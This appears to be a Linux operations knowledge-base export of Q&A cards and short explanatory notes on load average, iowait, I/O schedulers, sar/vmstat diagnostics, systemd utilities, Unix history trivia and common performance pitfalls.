A: Load average counts all tasks in the run queue (including those waiting for I/O in D state). CPU utilization only measures actual CPU busy time. A system can have high load average but low CPU utilization if many processes are in D state (I/O-bound).
----
''Sources''
* <html><code>training/library/topics/linux-ops/trivia-compendium.md</code></html>
''Related atoms''
* [[What is the difference between CPU load and utilization?]]
* [[What is load average?]]
* [[Load average is a blunt instrument without resource decomposition]]
Q: Explain the difference between "Load Average" and "CPU Utilization."
A: These metrics measure different aspects of system performance.
CPU Utilization:
* Percentage of time CPU was busy (not idle)
* Ranges from 0% to 100% per CPU core
* Measured via /proc/stat (user, system, idle, iowait, etc.)
* High CPU = CPU is actively processing work
* Tools: top, mpstat, sar
Load Average:
Remember: Load avg = processes in run/IO-wait over 1/5/15 min. 4-core: load 4.0 = 100%.
Gotcha: Load includes I/O wait. High load + low CPU = disk bottleneck.
----
''Sources''
* <html><code>training/interactive/knowledge/data/cards/linux-performance.tsv</code></html>
''Related atoms''
* [[Load averages are above 30 on a server with 24 cores but CPU shows around 70 percent id…]]
* [[How to check what is the current load average?]]
* [[Load average is processes in runnable or uninterruptible sleep state]]
Q: What does <html><code>cat /proc/PID/wchan</code></html> show?
A: The kernel function a sleeping process is blocked in. Helps identify why a process is stuck (waiting on I/O, lock, futex, etc.).
----
''Sources''
* <html><code>training/library/topics/linux-ops/trivia-compendium.md</code></html>
''Related atoms''
* [[Use /proc/PID/stack and wchan to see what syscall a process is blocked on]]
* [[What information can you find in `/proc/PID/status`?]]
* [[What is `/proc/PID/fd/`?]]
Q: What is the difference between <html><code>vmstat</code></html> si/so and <html><code>sar -W</code></html>?
A: Both show swap activity. <html><code>vmstat</code></html> si=swap in (pages from swap to RAM), so=swap out (pages from RAM to swap). <html><code>sar -W</code></html> shows pswpin/s and pswpout/s. High swap activity indicates memory pressure.
----
''Sources''
* <html><code>training/library/topics/linux-ops/trivia-compendium.md</code></html>
''Related atoms''
* [[What does `vmstat` show?]]
* [[What does `sar` do?]]
* [[vmstat columns require correct interpretation to diagnose bottlenecks]]
Q: What is an I/O scheduler?
A: Kernel component that orders and merges block I/O requests for optimal disk performance. Modern options: <html><code>mq-deadline</code></html> (good for SSDs and HDDs), <html><code>bfq</code></html> (fairness-oriented), <html><code>none</code></html>/<html><code>noop</code></html> (no reordering, best for NVMe).
----
''Sources''
* <html><code>training/library/topics/linux-ops/trivia-compendium.md</code></html>
''Related atoms''
* [[Linux CPU scheduler has been rewritten four times]]
* [[How do you check and change the I/O scheduler for a block device, and which scheduler i…]]
* [[What is the Completely Fair Scheduler (CFS)?]]
Early Linux I/O schedulers (anticipatory, deadline, CFQ) were designed to optimize seek times on spinning disks. Algorithms minimized the distance the head traveled, reordering requests to visit nearby sectors. With solid-state drives having near-zero seek cost and random I/O nearly as fast as sequential I/O, complex schedulers add latency without benefit. The optimal I/O scheduler for SSDs is often "none" (noop queue or mq-deadline). The blk-mq (multi-queue block layer) redesigned the entire I/O stack for modern hardware — merged in Linux 3.13 (2014) — building around multi-core machines and multi-queue NVMe hardware. Modern NVMe drives are themselves parallel, so CPU and disk parallelism must align. Complexity moved from the kernel scheduler to the device itself.
----
''Sources''
* <html><code>training/library/topics/linux-performance/trivia.md</code></html>
''Related atoms''
* [[How do you check and change the I/O scheduler for a block device, and which scheduler i…]]
* [[Linux CPU scheduler has been rewritten four times]]
* [[Diagnosing disk I/O bottlenecks with iostat and iotop]]
Q: How do you change the I/O scheduler for a block device?
A: <html><code>echo mq-deadline > /sys/block/sda/queue/scheduler</code></html>. Check current scheduler: <html><code>cat /sys/block/sda/queue/scheduler</code></html> (active one shown in brackets).
----
''Sources''
* <html><code>training/library/topics/linux-ops/trivia-compendium.md</code></html>
''Related atoms''
* [[How do you check and change the I/O scheduler for a block device, and which scheduler i…]]
* [[What is an I/O scheduler?]]
* [[I/O schedulers evolved from disk optimization to irrelevance for SSDs]]
Q: What is CPU steal time?
A: The percentage of time a virtual CPU waits for the hypervisor to schedule it on a physical CPU. Visible in <html><code>top</code></html> as <html><code>st</code></html>. High steal indicates the host is overcommitted or noisy neighbors are consuming resources.
----
''Sources''
* <html><code>training/library/topics/linux-ops/trivia-compendium.md</code></html>
''Related atoms''
* [[Hypervisor steal time is invisible to application profilers]]
* [[A Kubernetes node on AWS shows 8% `st` (steal time) in `top` but all pods report normal…]]
* [[CPU% breakdown: us/sy/ni/id/wa/hi/si/st signal different bottlenecks]]
Q: What is iowait in CPU statistics?
A: The percentage of time the CPU is idle while the system has outstanding I/O requests. High iowait suggests I/O bottleneck but can be misleading — it's measured per CPU and only when the CPU would otherwise be idle.
----
''Sources''
* <html><code>training/library/topics/linux-ops/trivia-compendium.md</code></html>
''Related atoms''
* [[%iowait is misleading without corroborating I/O latency data]]
* [[What does high iowait with low disk utilization usually mean?]]
* [[You see high "iowait" in top. What are your next three steps to identify the culprit?]]
Q: What is the <html><code>tuna</code></html> command?
A: A tool for tuning system performance: adjusting IRQ affinity, CPU affinity, process priorities, and isolating CPUs. Provides both CLI and GUI. Common in RHEL for real-time tuning.
----
''Sources''
* <html><code>training/library/topics/linux-ops/trivia-compendium.md</code></html>
''Related atoms''
* [[What is `tuned`?]]
* [[What is the `tune2fs` command?]]
* [[What is the `perf top` command?]]
Q: What is <html><code>tuned</code></html>?
A: A systemd service that applies performance profiles to optimize the system for specific workloads. Profiles include <html><code>throughput-performance</code></html>, <html><code>latency-performance</code></html>, <html><code>virtual-guest</code></html>, <html><code>powersave</code></html>. Set with <html><code>tuned-adm profile <name></code></html>.
----
''Sources''
* <html><code>training/library/topics/linux-ops/trivia-compendium.md</code></html>
''Related atoms''
* [[What is the `tuna` command?]]
* [[What is the `tune2fs` command?]]
* [[/proc/sys allows live tuning; persist changes to /etc/sysctl.d/]]
Q: What is process accounting in Linux?
A: The <html><code>psacct</code></html>/<html><code>acct</code></html> package records process creation, CPU time, and memory usage. <html><code>lastcomm</code></html> shows recently executed commands. <html><code>sa</code></html> summarizes accounting data. Useful for auditing and capacity planning.
----
''Sources''
* <html><code>training/library/topics/linux-ops/trivia-compendium.md</code></html>
''Related atoms''
* [[What is a process, and how do you list processes in Linux?]]
* [[What is a process in Linux?]]
* [[Name at least five attributes every Linux process has.]]
Q: What is the difference between user time and system time in process statistics?
A: User time: CPU time spent executing user-space code. System time: CPU time spent in kernel code on behalf of the process (system calls, page faults). <html><code>time command</code></html> reports both as <html><code>user</code></html> and <html><code>sys</code></html>.
----
''Sources''
* <html><code>training/library/topics/linux-ops/trivia-compendium.md</code></html>
''Related atoms''
* [[How you measure time execution of a program?]]
* [[What time namespaces are used for?]]
* [[What is the `uptime` command?]]
Q: What is the difference between <html><code>xfs_growfs</code></html> and <html><code>resize2fs</code></html>?
A: <html><code>xfs_growfs</code></html> grows XFS filesystems (must be mounted, specify mount point). <html><code>resize2fs</code></html> resizes ext4 filesystems (can grow online or shrink offline). XFS cannot be shrunk; ext4 can.
----
''Sources''
* <html><code>training/library/topics/linux-ops/trivia-compendium.md</code></html>
''Related atoms''
* [[XFS cannot be shrunk; ext4 can, but XFS has no reduction operation]]
* [[Describe the process of extending a filesystem/disk]]
Q: What is <html><code>dmidecode</code></html>?
A: Dumps BIOS/UEFI DMI (SMBIOS) table data: hardware model, serial number, BIOS version, RAM slots, CPU sockets. Requires root: <html><code>dmidecode -t memory</code></html> shows memory modules.
----
''Sources''
* <html><code>training/library/topics/linux-ops/trivia-compendium.md</code></html>
''Related atoms''
* [[How can you print information on the BIOS, motherboard, processor and RAM?]]
* [[What is BIOS?]]
* [[What are the main kernel memory zones on x86-64?]]
Q: What is the <html><code>install</code></html> command?
A: Copies files while setting permissions and ownership in one step: <html><code>install -m 755 -o root -g root binary /usr/local/bin/</code></html>. More efficient than separate cp/chmod/chown.
----
''Sources''
* <html><code>training/library/topics/linux-ops/trivia-compendium.md</code></html>
''Related atoms''
* [[What this command does? chmod +x some_file]]
* [[What is `virt-install`?]]
Q: What is <html><code>mkfs</code></html> a frontend for?
A: <html><code>mkfs</code></html> is a wrapper that calls filesystem-specific tools: <html><code>mkfs.ext4</code></html>, <html><code>mkfs.xfs</code></html>, <html><code>mkfs.btrfs</code></html>, etc. Usage: <html><code>mkfs -t ext4 /dev/sda1</code></html> or <html><code>mkfs.ext4 /dev/sda1</code></html>.
----
''Sources''
* <html><code>training/library/topics/linux-ops/trivia-compendium.md</code></html>
''Related atoms''
* [[Storage stack: five transformations from raw disk to usable directory]]
* [[Describe the Linux storage stack from application down to hardware.]]
* [[How do you create a filesystem on a partition, and what precaution should you take?]]
Q: What is a mount namespace used for in containers?
A: Gives each container its own view of the filesystem mount tree, isolated from the host and other containers. The container sees only its own root filesystem and mounted volumes.
----
''Sources''
* <html><code>training/library/topics/linux-ops/trivia-compendium.md</code></html>
Q: What is the difference between <html><code>journalctl -xe</code></html> and <html><code>journalctl -u service</code></html>?
A: <html><code>-xe</code></html> shows the end of the journal with explanatory text for catalog entries. <html><code>-u service</code></html> filters by a specific systemd unit. Combine them: <html><code>journalctl -xeu nginx.service</code></html>.
----
''Sources''
* <html><code>training/library/topics/linux-ops/trivia-compendium.md</code></html>
''Related atoms''
* [[How do you view only the logs for a specific systemd service using journalctl?]]
* [[Explain the purpose of dmesg vs journalctl.]]
* [[On a system which uses systemd, how would you display the logs?]]
Q: What is the <html><code>lscpu</code></html> command?
A: Displays CPU architecture information: model name, cores, threads, sockets, NUMA nodes, cache sizes, flags, and virtualization capabilities. Reads from <html><code>/proc/cpuinfo</code></html> and sysfs.
----
''Sources''
* <html><code>training/library/topics/linux-ops/trivia-compendium.md</code></html>
''Related atoms''
* [[What does `/proc/cpuinfo` contain?]]
* [[Where can you find information on the processor (like number of CPUs)?]]
* [[/proc filesystem exposes detailed system and process state]]
Q: What is the <html><code>lsmod</code></html> vs <html><code>/proc/modules</code></html> relationship?
A: <html><code>lsmod</code></html> is a formatted reader of <html><code>/proc/modules</code></html>. Both show loaded kernel modules with size and dependency (used-by) information. <html><code>modinfo module_name</code></html> shows detailed module information.
----
''Sources''
* <html><code>training/library/topics/linux-ops/trivia-compendium.md</code></html>
''Related atoms''
* [[What is the difference between insmod and modprobe?]]
* [[What is a loadable kernel module (LKM)?]]
Q: What is the difference between TCP Nagle's algorithm and TCP_NODELAY?
A: Nagle's algorithm buffers small packets to reduce network overhead by combining them. Setting <html><code>TCP_NODELAY</code></html> disables Nagle's, sending packets immediately. Low-latency applications (games, trading) use TCP_NODELAY.
----
''Sources''
* <html><code>training/library/topics/linux-ops/trivia-compendium.md</code></html>
''Related atoms''
* [[What is the difference between TCP and UDP?]]
Q: What is <html><code>timedatectl</code></html>?
A: Manages system time, timezone, and NTP synchronization on systemd systems. <html><code>timedatectl set-timezone America/New_York</code></html>. <html><code>timedatectl set-ntp true</code></html> enables time synchronization.
----
''Sources''
* <html><code>training/library/topics/linux-ops/trivia-compendium.md</code></html>
''Related atoms''
* [[What is NTP? What is it used for?]]
* [[What does `OnCalendar=` do in a systemd timer?]]
Q: What is <html><code>localectl</code></html>?
A: Manages system locale and keyboard layout on systemd systems. <html><code>localectl set-locale LANG=en_US.UTF-8</code></html>. <html><code>localectl set-keymap us</code></html>.
----
''Sources''
* <html><code>training/library/topics/linux-ops/trivia-compendium.md</code></html>
''Related atoms''
* [[What is the LANG variable?]]
* [[What is `timedatectl`?]]
Q: What are the six fields of <html><code>crontab -l</code></html> output?
A: Minute, hour, day of month, month, day of week, and command. Unlike <html><code>/etc/crontab</code></html>, per-user crontabs do NOT have a username field.
----
''Sources''
* <html><code>training/library/topics/linux-ops/trivia-compendium.md</code></html>
''Related atoms''
* [[What is the difference between `crontab -e` and `/etc/crontab`?]]
* [[What is the cron syntax format?]]
* [[What are the cron special strings?]]
Q: What does <html><code>findmnt</code></html> do?
A: Shows mounted filesystems in a tree format. <html><code>findmnt -t ext4</code></html> filters by type. <html><code>findmnt /boot</code></html> shows the mount for a specific path. More informative than <html><code>mount</code></html> for understanding the mount hierarchy.
----
''Sources''
* <html><code>training/library/topics/linux-ops/trivia-compendium.md</code></html>
''Related atoms''
* [[Listing currently mounted filesystems (mount, findmnt)]]
* [[What is the purpose of /mnt and /media?]]
* [[What is lazy umount in Linux and when would you use it?]]
Q: What is the purpose of the <html><code>alternatives</code></html> system?
A: Manages symbolic links for choosing between multiple versions of a command (e.g., <html><code>java</code></html>, <html><code>python</code></html>, <html><code>editor</code></html>). <html><code>alternatives --config java</code></html> on RHEL or <html><code>update-alternatives --config java</code></html> on Debian.
----
''Sources''
* <html><code>training/library/topics/linux-ops/trivia-compendium.md</code></html>
''Related atoms''
* [[What is the purpose of /opt?]]
* [[What is the advantage of AppArmor's path-based approach?]]
Q: What is <html><code>dbus</code></html> (D-Bus)?
A: A message bus system for inter-process communication. systemd uses it extensively for service management. <html><code>dbus-monitor</code></html> watches messages. Two buses: system bus (root services) and session bus (user applications).
----
''Sources''
* <html><code>training/library/topics/linux-ops/trivia-compendium.md</code></html>
''Related atoms''
* [[What is systemd?]]
* [[What is systemd and how does it manage Linux services?]]
* [[What is systemd-networkd?]]
Q: What is the difference between <html><code>kill -l</code></html> and <html><code>trap -l</code></html>?
A: Both list available signals. <html><code>kill -l</code></html> lists signal names (may include numbers). <html><code>trap -l</code></html> also lists signals. Both show the same signals; <html><code>kill -l 9</code></html> returns "KILL".
----
''Sources''
* <html><code>training/library/topics/linux-ops/trivia-compendium.md</code></html>
''Related atoms''
* [[What is the difference between kill and killall?]]
* [[What is `trap` in Bash?]]
* [[What is a trap in bash scripting and how is it used for cleanup?]]
Q: What does <html><code>getent</code></html> do?
A: Queries Name Service Switch databases: <html><code>getent passwd username</code></html> looks up a user (local or LDAP/NIS), <html><code>getent hosts hostname</code></html> resolves a hostname, <html><code>getent group groupname</code></html> queries groups. Works with any NSS source.
----
''Sources''
* <html><code>training/library/topics/linux-ops/trivia-compendium.md</code></html>
''Related atoms''
* [[What information is stored in /etc/passwd? explain each field]]
* [[Explain what each of the following commands does:]]
Q: What is the difference between <html><code>adduser</code></html> and <html><code>useradd</code></html>?
A: <html><code>useradd</code></html> is the low-level binary that creates users. <html><code>adduser</code></html> (on Debian) is a friendly wrapper script that interactively sets password, creates home directory, and copies skeleton. On RHEL, <html><code>adduser</code></html> is a symlink to <html><code>useradd</code></html>.
----
''Sources''
* <html><code>training/library/topics/linux-ops/trivia-compendium.md</code></html>
''Related atoms''
* [[Do you know how to create a new user without using adduser/useradd command?]]
* [[Explain what each of the following commands does:]]
Q: What is the <html><code>w</code></html> command's JCPU and PCPU columns?
A: JCPU: total CPU time used by all processes attached to the user's tty. PCPU: CPU time of the current process shown in the WHAT column.
----
''Sources''
* <html><code>training/library/topics/linux-ops/trivia-compendium.md</code></html>
''Related atoms''
* [[What is the `w` command?]]
* [[What is the `lscpu` command?]]
* [[What are the key columns in `top`?]]
Q: What is the difference between <html><code>wall</code></html> and <html><code>write</code></html>?
A: <html><code>wall</code></html> broadcasts a message to all logged-in users' terminals. <html><code>write user</code></html> sends a message to a specific user's terminal. Both are one-way messaging tools.
----
''Sources''
* <html><code>training/library/topics/linux-ops/trivia-compendium.md</code></html>
''Related atoms''
* [[wall broadcasts messages to all logged-in terminals]]
* [[What is copy-on-write (COW)?]]
Q: What is the <html><code>chvt</code></html> command?
A: Changes the foreground virtual terminal (console): <html><code>chvt 3</code></html> switches to tty3. Equivalent to pressing Ctrl+Alt+F3 but usable from scripts.
----
''Sources''
* <html><code>training/library/topics/linux-ops/trivia-compendium.md</code></html>
''Related atoms''
* [[What does "TTY" stand for?]]
* [[What is `virsh`?]]
* [[What is a TTY device?]]
Q: What is the <html><code>fmt</code></html> command?
A: Reformats text to a specified width: <html><code>fmt -w 72 file</code></html> wraps lines to 72 characters. Useful for formatting email text and documentation.
----
''Sources''
* <html><code>training/library/topics/linux-ops/trivia-compendium.md</code></html>
''Related atoms''
* [[What is the `column -t` command useful for?]]
Q: What is the <html><code>rev</code></html> command?
A: Reverses each line of input character by character. <html><code>echo "hello" | rev</code></html> outputs "olleh". A quirky but occasionally useful text processing tool.
----
''Sources''
* <html><code>training/library/topics/linux-ops/trivia-compendium.md</code></html>
''Related atoms''
* [[What a double dash (--) mean?]]
Q: What is <html><code>nl</code></html> used for?
A: Numbers lines of a file. More configurable than <html><code>cat -n</code></html>: can number only non-blank lines, use custom formats, and handle section headers.
----
''Sources''
* <html><code>training/library/topics/linux-ops/trivia-compendium.md</code></html>
''Related atoms''
* [[What does `wc` do?]]
* [[How to count the number of lines in a file? What about words?]]
Q: What is the <html><code>paste</code></html> command?
A: Merges lines from multiple files side by side: <html><code>paste file1 file2</code></html> outputs corresponding lines tab-separated. <html><code>paste -s file</code></html> joins all lines of a single file into one line.
----
''Sources''
* <html><code>training/library/topics/linux-ops/trivia-compendium.md</code></html>
''Related atoms''
* [[cat command: short for concatenate]]
* [[What does `2>&1` do?]]
The Unix kernel does not care what you name the superuser account — it checks for UID 0. You can rename the root account to admin, webmaster, or anything else and it retains full privileges. Conversely, if you create a second account with UID 0, that account gains root privileges regardless of its name or intent. This is a security property baked into kernel code, not a convention in userspace tools. Some hardening guides recommend renaming the root account as weak defense against automated attacks that scan for accounts named "root" specifically. However, any attacker with sufficient access to check <html><code>/etc/passwd</code></html> or run <html><code>awk -F: '$3==0' /etc/passwd</code></html> will find the UID 0 account immediately, making name obfuscation a minor inconvenience at best.
----
''Sources''
* <html><code>training/library/topics/linux-ops/trivia.md</code></html>
''Related atoms''
* [[What UID is reserved for root?]]
* [[True or False? It's not possible to have a root user with ID 0 in child user namespaces]]
* [[What is a superuser or root user? How is it different from regular users?]]
The /etc directory is Unix's oldest remaining legacy. In early Unix, /etc was a catch-all location for files that didn't fit any other directory — a miscellaneous junk drawer. Over decades, it evolved into the standard location for all system configuration files: passwd, shadow, hosts, fstab, and thousands of others. Dennis Ritchie confirmed this etymology. The irony is profound: the most critical directory on the system, holding configuration that determines how the entire operating system behaves, was originally named after a concept of randomness and leftovers. The name stuck because Unix systems spread widely before anyone formalized a better directory structure, and by then, renaming /etc was infeasible. Today, every Unix-like system inherits this random name as a reminder of early Unix's pragmatism.
----
''Sources''
* <html><code>training/library/topics/linux-ops/trivia.md</code></html>
''Related atoms''
* [[What is `/etc/hostname`?]]
GNU <html><code>ls</code></html> is one of the most feature-rich commands in Unix, accepting over 60 command-line options. Most users know <html><code>-l</code></html> (long format), <html><code>-a</code></html> (show hidden files), <html><code>-h</code></html> (human-readable sizes), and <html><code>-R</code></html> (recursive). Lesser-known options include <html><code>--time=birth</code></html> (shows file creation time on filesystems that support it, like ext4), <html><code>--group-directories-first</code></html> (groups folders before files), and <html><code>--sort=size</code></html> (ranks by size instead of name). The <html><code>ls</code></html> source code in GNU coreutils spans over 5,000 lines of C, making it vastly more complex than daily use encounters. This complexity accumulated because <html><code>ls</code></html> is often the first command a user learns, and feature requests piled up over decades. When you need sophisticated file listing, piping to <html><code>sort</code></html>, <html><code>awk</code></html>, or dedicated tools like <html><code>lsd</code></html> or <html><code>exa</code></html> is often clearer than composing numerous <html><code>ls</code></html> flags.
----
''Sources''
* <html><code>training/library/topics/linux-ops/trivia.md</code></html>
''Related atoms''
* [[Explain each field in the output of `ls -l` command]]
* [[What do the fields in `ls -al` output mean?]]
* [[ls command: list directory contents]]
The <html><code>wall</code></html> command (write all) sends a message to every terminal of every logged-in user. It dates to the 1970s when Unix was a multi-user timesharing system where dozens of users logged in simultaneously, often via dial-up or physical terminals connected to a minicomputer. Administrators needed a way to warn users about imminent maintenance shutdowns. The command remains functional on modern Linux and Unix systems but is rarely used because modern servers host zero interactive users — they run batch jobs and daemons, not terminal sessions. On a workstation or shared login server, <html><code>wall</code></html> still works but has largely been replaced by email or centralized alert systems. Interestingly, <html><code>wall</code></html> is often enabled or disabled via file permissions on the <html><code>/dev/pts/*</code></html> device files that represent terminals, making it a tangible reminder of Unix's terminal-centric heritage.
----
''Sources''
* <html><code>training/library/topics/linux-ops/trivia.md</code></html>
''Related atoms''
* [[What is the difference between `wall` and `write`?]]
* [[How do you get a list of logged-in users?]]
* [[What is the `logger` command?]]
<html><code>sudo</code></html> (superuser do) was written by Bob Coggeshall and Cliff Spencer at the State University of New York at Buffalo in 1980. Todd C. Miller took over maintenance in 1994 and has stewarded it for over 30 years with minimal disruption. The <html><code>sudoers</code></html> configuration file syntax is notoriously complex — the manual page exceeds 2,000 lines and covers edge cases like Runas aliases, command aliases, and per-user timeouts. A common misconception is that sudo stands for "switch user and do," but the original intent was "superuser do." The tool's near-universal adoption in production Linux systems testifies to Todd Miller's conservative, security-focused maintenance philosophy. However, the complexity of <html><code>sudoers</code></html> has made it a frequent source of configuration errors and subtle privilege escalation bugs; auditing sudo rules is a routine part of security reviews.
----
''Sources''
* <html><code>training/library/topics/linux-ops/trivia.md</code></html>
''Related atoms''
* [[What does "sudo" stand for?]]
* [[What is the basic sudoers syntax?]]
* [[What does the sudo command do?]]
GNU Screen, the original terminal multiplexer, was written by Oliver Laumann in 1987. It provided multiple terminal sessions within one connection — indispensable for remote work and system administration. Twenty years later, Nicholas Marriott created <html><code>tmux</code></html> (terminal multiplexer) as a cleaner rewrite. The Screen vs. tmux debate consumed years of forums and IRC channels. tmux eventually prevailed due to several advantages: a cleaner, more maintainable codebase; a BSD license instead of GPL; and superior scripting support for automation. Screen's last major release was in 2008 and is now considered legacy. Modern Linux distributions ship tmux by default, and most documentation targets tmux. The transition illustrates how a superior codebase and more permissive licensing can displace an entrenched tool, even when the original has 20 years of accumulated features.
----
''Sources''
* <html><code>training/library/topics/linux-ops/trivia.md</code></html>
''Related atoms''
* [[What is the difference between `screen` and `tmux`?]]
* [[What is `screen` used for?]]
* [[wall broadcasts messages to all logged-in terminals]]
Some Linux servers have achieved uptimes exceeding 10 years without rebooting, enabled by live patching technologies: Ksplice (2008, acquired by Oracle), Red Hat's kpatch, and Canonical's livepatch. These tools allow applying critical kernel security patches without a reboot, the traditional requirement that enforced downtime. However, extended uptime is increasingly seen as a liability in modern operations rather than a badge of honor. A server that hasn't rebooted in years likely carries accumulated kernel patches that never tested a full cold-start, has stale memory state that a reboot would clear, and may be running an outdated kernel version. Security policy now emphasizes regular reboots and kernel updates over raw uptime numbers. Modern cloud infrastructure, container orchestration, and infrastructure-as-code practices make reboots routine and painless. High uptime in a modern datacenter may indicate inadequate patching or resistance to infrastructure refresh.
----
''Sources''
* <html><code>training/library/topics/linux-ops/trivia.md</code></html>
''Related atoms''
* [[How do you safely update the kernel in production with minimal risk?]]
* [[In what phases of kernel lifecycle, can you change its configuration?]]
The <html><code>net-tools</code></html> package, containing <html><code>ifconfig</code></html>, <html><code>route</code></html>, <html><code>netstat</code></html>, and <html><code>arp</code></html>, was declared unmaintained in 2009 in favor of the <html><code>iproute2</code></html> package, which provides the unified <html><code>ip</code></html> command. However, <html><code>ifconfig</code></html> remained installed by default on most Linux distributions for nearly a decade afterward. During that lag period, tutorials, certification materials, and online documentation continued teaching <html><code>ifconfig</code></html> to newcomers, even as the Linux community considered it obsolete. This gap between deprecation and actual removal from defaults is a recurring theme in infrastructure: the announcement of obsolescence and the practical retirement of a tool are separated by years of inertia. System administrators who learned on <html><code>ifconfig</code></html> often continued using it because it worked, compounding the educational lag. By 2017, distributions like Ubuntu and Fedora dropped <html><code>net-tools</code></html> from defaults, making <html><code>ip</code></html> the standard command. The episode illustrates how technical correctness and community awareness often fail to synchronize.
----
''Sources''
* <html><code>training/library/topics/linux-ops/trivia.md</code></html>
''Related atoms''
* [[The iproute2 toolkit is the modern replacement for deprecated net-tools]]
* [[What replaces `ifconfig` in the ip command suite?]]
<html><code>ping</code></html>, the diagnostic utility that sends ICMP echo requests to test network reachability, was written by Mike Muuss in December 1983 at the U.S. Army Ballistic Research Laboratory. According to Muuss, he wrote it in one evening to solve an immediate troubleshooting problem — he needed to figure out which network gateways were responding. He named the command <html><code>ping</code></html> after the sound that sonar makes when it bounces off an object, a metaphor for sending a packet and waiting for a reply. Muuss never patented the tool, and it entered the public domain as part of the BSD networking code. <html><code>ping</code></html> became universally adopted and remains a first-line diagnostic across every OS. Muuss died tragically in a car accident in 2000 at age 44, but his legacy extends far beyond ping — he made substantial contributions to BSD networking, the Internet, and network diagnostics.
----
''Sources''
* <html><code>training/library/topics/linux-ops/trivia.md</code></html>
''Related atoms''
* [[What does "ping" stand for?]]
* [[What happens when you `ping ::1`?]]
Editing a configuration file directly (e.g., <html><code>vi /etc/nginx/nginx.conf</code></html>) and making a mistake means the original is lost and must be reconstructed from memory or version control history, if either exists. A single keystroke error can corrupt the syntax and break the service. The safeguard is automatic: always create a backup copy before editing (<html><code>cp /etc/nginx/nginx.conf /etc/nginx/nginx.conf.bak</code></html>). If the edit is wrong, revert instantly. Under deadline pressure, this step feels optional, but it costs seconds and saves hours if the edit fails. For critical files, prefer version control instead of manual backups — this provides complete history and accountability. The cost of the backup is negligible compared to the cost of reconstruction.
----
''Sources''
* <html><code>training/library/topics/linux-performance/anti_primer.md</code></html>
''Related atoms''
* [[In-place config edits without backup cause irrecoverable loss]]
A system showing 30% average CPU on 16 cores may have one core at 100% and the rest at 20%. The aggregate metric is meaningless if workload is single-threaded or unevenly distributed. Single-threaded applications feel slow despite "low" overall utilization because they can't use idle cores. Network interrupts concentrated on one CPU (CPU 0 by default) saturate that core while wasting others. The problem shows up in wall-clock latency but not in the average metric that most dashboards display. Use <html><code>mpstat -P ALL 1</code></html> to see utilization per core, and <html><code>cat /proc/interrupts</code></html> to check interrupt distribution. Single-threaded bottlenecks require vertical scaling (higher clock speed) not horizontal scaling. Interrupt imbalance is fixed with <html><code>irqbalance</code></html> daemon or manual CPU affinity via <html><code>/proc/irq/NNN/smp_affinity</code></html>.
----
''Sources''
* <html><code>training/library/topics/linux-performance/footguns.md</code></html>
''Related atoms''
* [[Load averages are above 30 on a server with 24 cores but CPU shows around 70 percent id…]]
* [[A server shows load average of 24 on a 4-core system but CPU utilization is only 15%. W…]]
top reports average CPU utilization across cores, which can hide per-core saturation. If one core is at 100% while others are idle, the bottleneck is single-threaded code or interrupt affinity problems (especially with NICs pinned to one CPU). Run <html><code>mpstat -P ALL 1 3</code></html> to detect per-core imbalance. Single-threaded applications, libraries without NUMA awareness, or hardware interrupts not distributed across cores are common causes. Fixing this requires either parallelizing the code, spreading interrupts via irqbalance, or adjusting CPU affinity with taskset or cpuset.
----
''Sources''
* <html><code>training/library/topics/linux-performance/street_ops.md</code></html>
''Related atoms''
* [[Load averages are above 30 on a server with 24 cores but CPU shows around 70 percent id…]]
* [[High load average but low CPU usage - why?]]
* [[Server shows high interrupt CPU usage (irq% in top). How do you troubleshoot?]]
An alert fires for high latency. You SSH in and run <html><code>vmstat</code></html>, <html><code>iostat</code></html>, <html><code>top</code></html>. Everything is normal. The problem was a 30-second spike that finished two minutes ago. Without data from the spike window, there is nothing to diagnose. Collecting metrics only when investigating problems means you have data for steady-state behavior, not for the rare events that matter. Implement continuous collection (default period: 10 minutes) with <html><code>sar</code></html>, which stores statistics in <html><code>/var/log/sa/</code></html>. Retrieve historical data with <html><code>sar -u -f /var/log/sa/sa<day></code></html> for CPU, <html><code>sar -d</code></html> for disk, <html><code>sar -n DEV</code></html> for network. Better still: ship metrics continuously to a time-series database (Prometheus, CloudWatch). When the next alert fires, the context is already there — graphs, not guesses.
----
''Sources''
* <html><code>training/library/topics/linux-performance/footguns.md</code></html>
''Related atoms''
* [[SAR provides time-machine access to historical performance data]]
High CPU distributed across many processes, with no single hog, often signals memory pressure, not CPU saturation. When the system is swapping, every process that touches memory stalls on disk I/O while waiting for pages to return. This looks like high CPU load (many processes in the run queue) but adding CPUs doesn't help. The bottleneck is I/O, not compute. Check <html><code>vmstat 1 5</code></html> and look at <html><code>si</code></html> and <html><code>so</code></html> columns (swap in/out). Any non-zero swap activity indicates memory pressure. Check <html><code>free -h</code></html> and examine the "available" column, not "free." Verify there are no OOM killer events with <html><code>dmesg | grep -i oom</code></html>. Fix by reducing memory usage, adding RAM, or tuning OOM behavior via <html><code>/proc/sys/vm/overcommit_memory</code></html> and process <html><code>oom_score_adj</code></html>. Mistaking this for a CPU problem wastes time on irrelevant optimizations.
----
''Sources''
* <html><code>training/library/topics/linux-performance/footguns.md</code></html>
''Related atoms''
* [[Active swapping (si/so) is the definitive check for memory pressure]]
* [[Diagnosing and responding to swap storms]]
* [[Memory oversubscription in hypervisors causes host-level paging invisible to guests]]
Response times are slow. Engineers spend two weeks optimizing database queries, adding indexes, rewriting algorithms, achieving 10% improvement. Meanwhile, the load balancer's network queue is misconfigured, dropping packets and causing 200ms of retransmissions on every request — a 20x larger problem that code optimization can never overcome. Similarly, a cloud VM on a noisy neighbor host loses 30% throughput to hypervisor contention, or a misconfigured NUMA binding causes memory access to cross sockets at 1.5–2x latency. No application code is fast enough to overcome these problems. Before profiling, do a 10-minute infrastructure sanity check: (1) Is the network path healthy? (2) Is this machine healthy (<html><code>vmstat</code></html>)? (3) Is hypervisor steal time elevated (<html><code>st</code></html> in top)? (4) Are there excessive TCP retransmits (<html><code>ss -s</code></html>)? (5) Check upstream service response times in monitoring. Only after ruling out infrastructure should you profile code.
----
''Sources''
* <html><code>training/library/topics/linux-performance/footguns.md</code></html>
''Related atoms''
* [[Hypervisor steal time is invisible to application profilers]]
* [[Performance problems are often caused by recent changes]]
